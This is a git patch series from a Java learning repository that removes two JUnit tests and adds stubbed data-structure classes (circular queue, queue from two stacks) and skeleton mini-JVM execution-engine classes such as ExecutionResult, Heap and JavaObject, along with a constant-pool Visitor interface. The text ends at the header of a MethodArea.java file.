-package com.coding.basic.stack.expr;
-
-import java.util.List;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class InfixToPostfixTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testConvert() {
-		{
-			List<Token> tokens = InfixToPostfix.convert("2+3");
-			Assert.assertEquals("[2, 3, +]", tokens.toString());
-		}
-		{
-		
-			List<Token> tokens = InfixToPostfix.convert("2+3*4");
-			Assert.assertEquals("[2, 3, 4, *, +]", tokens.toString());
-		}
-		
-		{
-			
-			List<Token> tokens = InfixToPostfix.convert("2-3*4+5");
-			Assert.assertEquals("[2, 3, 4, *, -, 5, +]", tokens.toString());
-		}
-	}
-
-}
diff --git a/liuxin/mini-jvm/assignment/src/com/coderising/jvm/test/MiniJVMTest.java b/liuxin/mini-jvm/assignment/src/com/coderising/jvm/test/MiniJVMTest.java
deleted file mode 100644
index 787c0d954d..0000000000
--- a/liuxin/mini-jvm/assignment/src/com/coderising/jvm/test/MiniJVMTest.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.test;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.engine.MiniJVM;
-
-public class MiniJVMTest {
-	
-	static final String PATH = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\answer\\bin";
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testMain() throws Exception{
-		String[] classPaths = {PATH};
-		MiniJVM jvm = new MiniJVM();
-		jvm.run(classPaths, "com.coderising.jvm.test.EmployeeV1");
-		
-	}
-
-}

From e2181b2201d405ed031cadc3e575ba5b1bc1e546 Mon Sep 17 00:00:00 2001
From: zhanglei <383117348@qq.com>
Date: Thu, 27 Apr 2017 17:12:50 +0800
Subject: [PATCH 132/262] =?UTF-8?q?=E4=BB=A3=E7=A0=81=E6=9B=B4=E6=96=B0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../com/coding/basic/queue/CircleQueue.java   | 36 ++++++-
 .../com/coding/basic/queue/Josephus.java      |  7 +-
 .../basic/queue/QueueWithTwoStacks.java       | 17 +++-
 .../com/coderising/jvm/cmd/BiPushCmd.java     |  8 ++
 .../coderising/jvm/cmd/ByteCodeCommand.java   |  4 +-
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  8 +-
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  9 +-
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  9 +-
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  7 +-
 .../com/coderising/jvm/cmd/LdcCmd.java        |  8 ++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  8 +-
 .../com/coderising/jvm/cmd/NoOperandCmd.java  | 10 +-
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  8 +-
 .../coderising/jvm/constant/ClassInfo.java    |  5 +
 .../coderising/jvm/constant/ConstantInfo.java | 12 +++
 .../coderising/jvm/constant/ConstantPool.java |  2 +-
 .../coderising/jvm/constant/FieldRefInfo.java |  5 +
 .../coderising/jvm/constant/FloatInfo.java    |  6 ++
 .../coderising/jvm/constant/IntegerInfo.java  |  6 ++
 .../jvm/constant/MethodRefInfo.java           |  6 ++
 .../jvm/constant/NameAndTypeInfo.java         |  6 ++
 .../jvm/constant/NullConstantInfo.java        |  5 +
 .../coderising/jvm/constant/StringInfo.java   |  6 ++
 .../com/coderising/jvm/constant/UTF8Info.java |  5 +
 .../jvm/engine/ExecutionResult.java           | 56 +++++++++++
 .../coderising/jvm/engine/ExecutorEngine.java | 35 +++++++
 .../com/coderising/jvm/engine/Heap.java       | 39 ++++++++
 .../com/coderising/jvm/engine/JavaObject.java | 71 ++++++++++++++
 .../com/coderising/jvm/engine/MethodArea.java | 68 +++++++++++++
 .../com/coderising/jvm/engine/MiniJVM.java    | 28 ++++++
 .../com/coderising/jvm/engine/StackFrame.java | 95 +++++++++++++++++++
 .../jvm/print/ClassFilePrinter.java           |  2 +-
 .../jvm/print/ConstantPoolPrinter.java        | 60 ++++++++++++
 33 files changed, 638 insertions(+), 19 deletions(-)
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/engine/ExecutionResult.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/engine/ExecutorEngine.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/engine/Heap.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/engine/JavaObject.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/engine/MethodArea.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/engine/MiniJVM.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/engine/StackFrame.java

diff --git a/group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java b/group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java
index ff94d5e21a..82596ad296 100644
--- a/group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java
+++ b/group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java
@@ -1,5 +1,39 @@
 package com.coding.basic.queue;
 
-public class CircleQueue {
+/**
+ * 用数组实现循环队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class CircleQueue <E> {
+	
+	private final static int DEFAULT_SIZE = 10;
+	
+	//用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE] ;
+	
+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;
+	
+	public boolean isEmpty() {
+		return false;
+        
+    }
 
+    public int size() {
+        return -1;
+    }
+
+    
+
+    public void enQueue(E data) {
+        
+    }
+
+    public E deQueue() {
+        return null;
+    }
 }
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/Josephus.java b/group27/383117348/data-structure/com/coding/basic/queue/Josephus.java
index 9ff4187a53..0a483e878b 100644
--- a/group27/383117348/data-structure/com/coding/basic/queue/Josephus.java
+++ b/group27/383117348/data-structure/com/coding/basic/queue/Josephus.java
@@ -3,10 +3,11 @@
 import java.util.ArrayList;
 import java.util.List;
 
+
 /**
- * 用Queue来实现Josephus问题 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数： N个人围成一圈（位置记为0到N-1），
- * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
- * 
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
  * @author liuxin
  *
  */
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java b/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java
index 7a6a11a3e4..e43d094b49 100644
--- a/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java
+++ b/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -1,8 +1,15 @@
 package com.coding.basic.queue;
+
 import java.util.Stack;
 
+/**
+ * 用两个栈来实现一个队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
 public class QueueWithTwoStacks<E> {
-    private Stack<E> stack1;    
+	private Stack<E> stack1;    
     private Stack<E> stack2;    
 
     
@@ -12,16 +19,16 @@ public QueueWithTwoStacks() {
     }
 
    
-
+    
 
     public boolean isEmpty() {
-       return false;
+        return false;
     }
 
 
     
     public int size() {
-       return -1;
+        return -1;   
     }
 
 
@@ -35,4 +42,6 @@ public E deQueue() {
     }
 
 
+
  }
+
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java
index cd0fbd4848..1c4168903e 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java
@@ -3,6 +3,8 @@
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 
 public class BiPushCmd extends OneOperandCmd {
@@ -17,6 +19,12 @@ public String toString(ConstantPool pool) {
 	
 		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
 	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		// TODO Auto-generated method stub
+		
+	}
 	
 	
 
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java
index 4006ca69e1..75324bccc8 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -6,6 +6,8 @@
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 
 public abstract class ByteCodeCommand {	
@@ -124,5 +126,5 @@ public String getReadableCodeText(){
 		return txt;
 	}
 	
-	//public abstract void execute(StackFrame frame,FrameResult result);
+	public abstract void execute(StackFrame frame,ExecutionResult result);
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java
index 2e6061edd2..7b16cc6243 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -2,6 +2,8 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 
 public class GetFieldCmd extends TwoOperandCmd {
@@ -16,7 +18,11 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsField(pool);
 	}
 
-	
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
 	
 
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java
index e6cf9d5960..eaf0ec1562 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -5,6 +5,8 @@
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.FieldRefInfo;
 import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 
 public class GetStaticFieldCmd extends TwoOperandCmd {
@@ -19,5 +21,10 @@ public String toString(ConstantPool pool) {
 		
 		return super.getOperandAsField(pool);
 	}
-
+	
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java
index ac228d0e4d..c746056c70 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -3,6 +3,8 @@
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 
 public class InvokeSpecialCmd extends TwoOperandCmd {
@@ -17,7 +19,12 @@ public String toString(ConstantPool pool) {
 		
 		return super.getOperandAsMethod(pool);
 	}
-
+	
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
 	
 
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java
index c15d827797..46807110fe 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -2,6 +2,8 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 
 public class InvokeVirtualCmd extends TwoOperandCmd {
@@ -15,7 +17,10 @@ public String toString(ConstantPool pool) {
 		
 		return super.getOperandAsMethod(pool);
 	}
-
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+	}
 	
 	
 
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java
index ffb66f811c..ea483169cf 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java
@@ -4,6 +4,8 @@
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class LdcCmd extends OneOperandCmd {
 
@@ -26,4 +28,10 @@ public String toString(ConstantPool pool) {
 		
 	}
 	
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
+	
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java
index 33813b5d59..2d7a2558c5 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -2,6 +2,8 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class NewObjectCmd extends TwoOperandCmd{
 	
@@ -14,6 +16,10 @@ public String toString(ConstantPool pool) {
 		
 		return super.getOperandAsClassInfo(pool);
 	}
-
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
 	
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java
index 56c28fefe2..e9d27995d7 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -2,6 +2,8 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class NoOperandCmd extends ByteCodeCommand{
 
@@ -13,11 +15,15 @@ public NoOperandCmd(ClassFile clzFile, String opCode) {
 	public String toString(ConstantPool pool) {
 		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
 	}
-
-	
 	
 	public  int getLength(){
 		return 1;
 	}
 
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		// TODO Auto-generated method stub
+		
+	}
+
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java
index 85bb369c19..2918d3dcdc 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -2,6 +2,8 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class PutFieldCmd extends TwoOperandCmd {
 
@@ -14,6 +16,10 @@ public String toString(ConstantPool pool) {
 		
 		return super.getOperandAsField(pool);
 	}
-
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
 
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/ClassInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/ClassInfo.java
index e12b3e164e..2896ae38bd 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/constant/ClassInfo.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/constant/ClassInfo.java
@@ -21,4 +21,9 @@ public String getClassName() {
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
 		return utf8Info.getValue();		
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);	
+		
+	}
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java
index a3a0b53b76..05639417c7 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java
@@ -27,4 +27,16 @@ public ConstantInfo getConstantInfo(int index){
 		return this.constantPool.getConstantInfo(index);
 	}
 	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
+	
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantPool.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantPool.java
index 0e940b78d0..805de5cd39 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantPool.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantPool.java
@@ -23,7 +23,7 @@ public ConstantInfo getConstantInfo(int index){
 	public String getUTF8String(int index){
 		return ((UTF8Info)this.constantInfos.get(index)).getValue();
 	}
-	public Object getSize() {		
+	public int getSize() {		
 		return this.constantInfos.size() -1;
 	}
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java
index 7ff9d5fb77..4e5ca460c7 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java
@@ -51,4 +51,9 @@ public String getFieldType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();	
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);
+		
+	}
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/FloatInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/FloatInfo.java
index dc3765720c..dc970c5dcb 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/constant/FloatInfo.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/constant/FloatInfo.java
@@ -23,4 +23,10 @@ public float getValue() {
 	public void setValue(float value) {
 		this.value = value;
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		// TODO Auto-generated method stub
+		
+	}
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/IntegerInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/IntegerInfo.java
index 06e66c6e08..1c5202a9e9 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/constant/IntegerInfo.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/constant/IntegerInfo.java
@@ -23,6 +23,12 @@ public int getValue() {
 	public void setValue(int value) {
 		this.value = value;
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		// TODO Auto-generated method stub
+		
+	}
 	
 	
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java
index 0feffa65b5..5ceaaaa1a3 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java
@@ -49,6 +49,12 @@ public String getParamAndReturnType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		// TODO Auto-generated method stub
+		visitor.visitMethodRef(this);	
+	}
 	
 	
 	
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java
index dcac7f97c4..d47b0b5b15 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -42,4 +42,10 @@ public String getTypeInfo(){
 	public String toString(){
 		return "(" + getName() + "," + getTypeInfo()+")";
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+		
+	}
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java
index fa90d110fe..64626490df 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java
@@ -9,5 +9,10 @@ public NullConstantInfo(){
 	public int getType() {		
 		return -1;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		// TODO Auto-generated method stub
+		
+	}
 	
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/StringInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/StringInfo.java
index d01065fd53..b07e783aa1 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/constant/StringInfo.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/constant/StringInfo.java
@@ -22,5 +22,11 @@ public void setIndex(int index) {
 	public String toString(){
 		return this.getConstantPool().getUTF8String(index);
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+		
+	}
 	
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/constant/UTF8Info.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/UTF8Info.java
index b7407d146f..3f239c8b99 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/constant/UTF8Info.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/constant/UTF8Info.java
@@ -26,6 +26,11 @@ public String getValue() {
 	public void setValue(String value) {
 		this.value = value;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		// TODO Auto-generated method stub
+		visitor.visistUTF8(this);
+	}
 	
 	
 
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/engine/ExecutionResult.java b/group27/383117348/mini-jvm/com/coderising/jvm/engine/ExecutionResult.java
new file mode 100644
index 0000000000..87ae484b01
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/engine/ExecutionResult.java
@@ -0,0 +1,56 @@
+package com.coderising.jvm.engine;
+
+import com.coderising.jvm.method.Method;
+
+public class ExecutionResult {
+	public static final int RUN_NEXT_CMD = 1;
+	public static final int JUMP = 2;
+	public static final int EXIT_CURRENT_FRAME = 3;
+	public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+	
+	private int nextAction = RUN_NEXT_CMD; 
+	
+	private int nextCmdOffset = 0;
+	
+	private Method nextMethod;
+	
+	public Method getNextMethod() {
+		return nextMethod;
+	}
+	public void setNextMethod(Method nextMethod) {
+		this.nextMethod = nextMethod;
+	}
+
+	
+	
+	public void setNextAction(int action){
+		this.nextAction = action;
+	}
+	public boolean isPauseAndRunNewFrame(){
+		return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+	}
+	public boolean isExitCurrentFrame(){
+		return this.nextAction == EXIT_CURRENT_FRAME;
+	}
+	
+	public boolean isRunNextCmd(){
+		return this.nextAction == RUN_NEXT_CMD;
+	}
+	
+	public boolean isJump(){
+		return this.nextAction == JUMP;
+	}
+	
+	public int getNextCmdOffset() {
+		return nextCmdOffset;
+	}
+
+	public void setNextCmdOffset(int nextCmdOffset) {
+		this.nextCmdOffset = nextCmdOffset;
+	}
+	
+	
+	
+	
+
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/engine/ExecutorEngine.java b/group27/383117348/mini-jvm/com/coderising/jvm/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..52e40ce079
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/engine/ExecutorEngine.java
@@ -0,0 +1,35 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.method.Method;
+
+public class ExecutorEngine {
+
+	private Stack<StackFrame> stack = new Stack<StackFrame>();
+	
+	public ExecutorEngine() {
+		
+	}
+	
+	public void execute(Method mainMethod){
+		
+		
+		
+	}
+	
+	
+	
+	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
+		
+		
+		
+	}
+	
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/engine/Heap.java b/group27/383117348/mini-jvm/com/coderising/jvm/engine/Heap.java
new file mode 100644
index 0000000000..7df6548625
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/engine/Heap.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.engine;
+
+public class Heap {
+	
+	/**
+	 * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
+	 */
+	
+	private static Heap instance = new Heap();
+	private Heap() {		
+	}
+	public static Heap getInstance(){
+		return instance;
+	}
+	public JavaObject newObject(String clzName){
+		
+		JavaObject jo = new JavaObject(JavaObject.OBJECT);
+		jo.setClassName(clzName);
+		return jo;
+	}
+	
+	public JavaObject newString(String value){
+		JavaObject jo = new JavaObject(JavaObject.STRING);
+		jo.setStringValue(value);
+		return jo;
+	}
+	
+	public JavaObject newFloat(float value){
+		JavaObject jo = new JavaObject(JavaObject.FLOAT);
+		jo.setFloatValue(value);
+		return jo;
+	}
+	public JavaObject newInt(int value){
+		JavaObject jo = new JavaObject(JavaObject.INT);
+		jo.setIntValue(value);
+		return jo;
+	}
+
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/engine/JavaObject.java b/group27/383117348/mini-jvm/com/coderising/jvm/engine/JavaObject.java
new file mode 100644
index 0000000000..be6d3470be
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/engine/JavaObject.java
@@ -0,0 +1,71 @@
+package com.coderising.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class JavaObject {
+	public static final int OBJECT = 1;
+	public static final int STRING = 2;
+	public static final int INT = 3;
+	public static final int FLOAT = 4;
+	
+	int type;
+	private String className;
+	
+	private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
+	
+	private String stringValue;
+	
+	private int intValue;
+	
+	private float floatValue;
+	
+	public void setFieldValue(String fieldName, JavaObject fieldValue){
+		fieldValues.put(fieldName, fieldValue);
+	}
+	public JavaObject(int type){
+		this.type = type;
+	}
+	public void setClassName(String className){
+		this.className = className;
+	}
+	public void setStringValue(String value){
+		stringValue = value;
+	}
+	public String getStringValue(){
+		return this.stringValue;
+	}
+	public void setIntValue(int value) {
+		this.intValue = value;		
+	}
+	public int getIntValue(){
+		return this.intValue;
+	}
+	public int getType(){
+		return type;
+	}
+	public JavaObject getFieldValue(String fieldName){
+		return this.fieldValues.get(fieldName);
+	}
+	public String toString(){
+		switch(this.getType()){
+		case INT: 
+			return String.valueOf(this.intValue);
+		case STRING:
+			return this.stringValue;
+		case OBJECT:
+			return this.className +":"+ this.fieldValues;
+		case FLOAT :
+			return String.valueOf(this.floatValue);
+		default:
+			return null;
+		}
+	}
+	public String getClassName(){
+		return this.className;
+	}
+	public void setFloatValue(float value) {
+		this.floatValue = value;		
+	}
+
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/engine/MethodArea.java b/group27/383117348/mini-jvm/com/coderising/jvm/engine/MethodArea.java
new file mode 100644
index 0000000000..64bf6c4c2a
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/engine/MethodArea.java
